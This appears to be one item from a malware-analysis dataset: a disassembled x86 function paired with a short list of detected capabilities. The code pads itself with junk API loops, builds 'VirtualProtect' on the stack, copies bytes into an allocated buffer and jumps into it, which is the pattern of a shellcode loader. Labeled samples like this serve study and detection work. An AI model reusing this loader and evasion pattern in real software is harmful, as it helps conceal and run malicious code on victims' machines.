Function at 0x43d130
Capabilities:
Get disk size
Get file attributes
Initialize winhttp library
Manipulate console buffer
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4519a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x918
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x24], ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, esi
mov edi, edi
cmp esi, 0xfa62c8f
jge 0x43d174
call edi
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp esi, 0x207142
jg 0x43d185
inc esi
cmp esi, 0x67d12
jl 0x43d160
cmp dword [0x46413c], 0x93
jne 0x43d498
mov edi, dword [sym.imp.GDI32.dll_CreateDCW]
push ebx
push ebx
push ebx
push ebx
call edi
push ebx
lea eax, [ebp - 0x920]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push ebx
push ebx
push ebx
push ebx
call edi
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea edx, [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xfc]
push ecx
call dword [sym.imp.ole32.dll_StringFromIID]
push 0x43b920
mov dword [ebp - 0xd8], 0xf
mov dword [ebp - 0xdc], ebx
mov byte [ebp - 0xec], bl
call fcn.00440670
add esp, 4
push eax
push 0x43b920
lea ecx, [ebp - 0xec]
call fcn.0043ecd0
push ebx
mov dword [ebp - 4], ebx
call fcn.00440c19
add esp, 4
push ebx
call fcn.00440a35
add esp, 4
push ebx
push ebx
call fcn.00440a64
push ebx
call fcn.0044091b
add esp, 0xc
call fcn.0043d120
mov dword [ebp - 0xd0], 0x43bb58
mov dword [ebp - 0xc0], 0x43bb60
mov byte [ebp - 4], 1
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x70], 0x43bafc
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0xc4], ebx
mov dword [ebp - 0x40], ebx
push 4
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], 0x201
mov dword [ebp - 0x58], 6
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x64], ebx
call fcn.00440d7c
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x43d306
call fcn.0043f7e8
mov dword [edi], eax
call fcn.0043f5a7
push ebx
lea ecx, [ebp - 0x28]
mov esi, eax
call fcn.0043f9f5
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
jae 0x43d2fc
inc eax
mov dword [esi + 4], eax
lea ecx, [ebp - 0x28]
call fcn.0043fa1d
jmp 0x43d308
xor edi, edi
mov dword [ebp - 0x40], edi
lea edx, [ebp - 0xb8]
lea edi, [ebp - 0x20]
lea eax, [ebp - 0x70]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], ebx
call fcn.0043cc40
mov edi, eax
mov dword [ebp - 4], 4
call fcn.0043f1b0
mov byte [ebp - 4], 3
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
cmp esi, ebx
je 0x43d378
push ebx
lea ecx, [ebp - 0x1c]
call fcn.0043f9f5
mov eax, dword [esi + 4]
cmp eax, ebx
jbe 0x43d357
cmp eax, 0xffffffff
jae 0x43d357
dec eax
mov dword [esi + 4], eax
mov edi, dword [esi + 4]
neg edi
sbb edi, edi
not edi
lea ecx, [ebp - 0x1c]
and edi, esi
call fcn.0043fa1d
cmp edi, ebx
je 0x43d378
mov eax, dword [edi]
mov edx, dword [eax]
push 1
mov ecx, edi
call edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx]
mov edx, dword [eax + 0x18]
push 0x20
call edx
mov byte [ebp - 0x30], al
cmp dword [ebp - 0x38], ebx
jne 0x43d3a5
mov eax, dword [ebp - 0x64]
or eax, 4
and eax, 0x17
mov dword [ebp - 0x64], eax
test dword [ebp - 0x60], eax
je 0x43d3a5
lea ecx, [ebp - 0x70]
call fcn.0043cb80
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
mov dword [ebp + ecx - 0xc0], 0x43bb04
mov edx, dword [ebp - 0xd0]
mov eax, dword [edx + 4]
mov edi, 0x43bb0c
mov dword [ebp + eax - 0xd0], edi
mov dword [ebp - 4], 7
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ecx + 4]
lea eax, [ebp - 0xb8]
mov esi, 0x43bb54
push eax
mov dword [ebp + edx - 0xd0], esi
call fcn.0043edd0
mov edx, dword [ebp - 0xd0]
mov dword [ebp - 0xb8], 0x43bb14
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov eax, dword [edx + 4]
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x18], ecx
mov dword [ebp + eax - 0xd0], esi
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 9
call fcn.0043e370
mov byte [ebp - 4], bl
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ecx + 4]
mov dword [ebp + edx - 0xd0], edi
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
mov dword [ebp + ecx - 0xc0], 0x43bb04
mov edx, dword [ebp - 0xd0]
mov eax, dword [edx + 4]
lea ecx, [ebp - 0x70]
mov dword [ebp + eax - 0xd0], 0x43bafc
push ecx
mov dword [ebp - 0x70], 0x43bab0
call fcn.0043f4dd
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0xd8], 0x10
jb 0x43d498
mov edx, dword [ebp - 0xec]
push edx
call fcn.00440a7a
add esp, 4
mov eax, dword [0x458184]
mov dword [0x464f78], eax
mov eax, dword [0x46413c]
add eax, 0x1134b
push eax
push ebx
mov dword [0x46413c], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x43b910
mov dword [0x463bc8], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x45b258
mov dl, 0x72
push eax
mov dword [0x463bcc], eax
mov word [0x45b261], 0x746f
mov byte [0x45b260], dl
mov dword [0x45b263], 0x746365
mov dword [0x45b258], 0x74726956
mov dword [0x45b25c], 0x506c6175
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x463bc0], eax
mov dword [ebp - 0x10], 0x20
add dword [ebp - 0x10], 0x20
mov edx, dword [ebp - 0x10]
mov eax, dword [0x46413c]
lea ecx, [ebp - 0x14]
push ecx
mov ecx, dword [0x463bc8]
push edx
push eax
push ecx
call dword [0x463bc0]
mov esi, dword [sym.imp.USER32.dll_GetMenuInfo]
mov edi, 0x1692e
nop
push ebx
push ebx
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x43d540
cmp dword [0x46413c], ebx
jbe 0x43d5bf
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
jmp 0x43d560
mov edx, dword [0x464f78]
mov al, byte [edx + edi + 0x1134b]
mov ecx, dword [0x463bc8]
mov byte [ecx + edi], al
cmp dword [0x46413c], 0x490
jne 0x43d5b6
push ebx
push ebx
lea edx, [ebp - 0x18]
push edx
call esi
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x1c]
push eax
push ebx
lea ecx, [ebp - 0x100]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
inc edi
cmp edi, dword [0x46413c]
jb 0x43d560
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
xor esi, esi
mov edx, dword [0x46413c]
add edx, esi
cmp edx, 0x8d
jne 0x43d5fe
push ebx
lea eax, [ebp - 0x520]
push eax
push ebx
push ebx
push ebx
push ebx
call edi
push 0x43b930
push 0x43b940
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x43d5c7
call fcn.0043cfe0
xor edi, edi
mov edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x43d62e
mov dword [ebp - 0x10], ebx
add dword [ebp - 0x10], 0x4c53
mov ecx, dword [ebp - 0x10]
add dword [0x463bc8], ecx
inc edi
cmp edi, 0x674bd
jl 0x43d610
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov dword [ebp - 0x14], 0x7b
lea ebx, [ebx]
cmp dword [0x46413c], 0x86
jne 0x43d68c
push ebx
call edi
push ebx
lea edx, [ebp - 0x920]
push edx
push 0x43b950
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFlags]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
cmp dword [0x46413c], 0xf
jne 0x43d69f
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
dec dword [ebp - 0x14]
jne 0x43d650
mov ecx, 0x6c
mov word [0x464152], cx
mov ecx, 0x64
mov eax, 0x6d
mov edx, 0x33
push 0x464140
mov dword [0x464146], 0x67006d
mov word [0x464150], cx
mov dword [0x464154], 0x6c
mov dword [0x46414c], 0x2e0032
mov word [0x464140], ax
mov word [0x46414a], dx
mov dword [0x464142], 0x690073
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x463bc8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret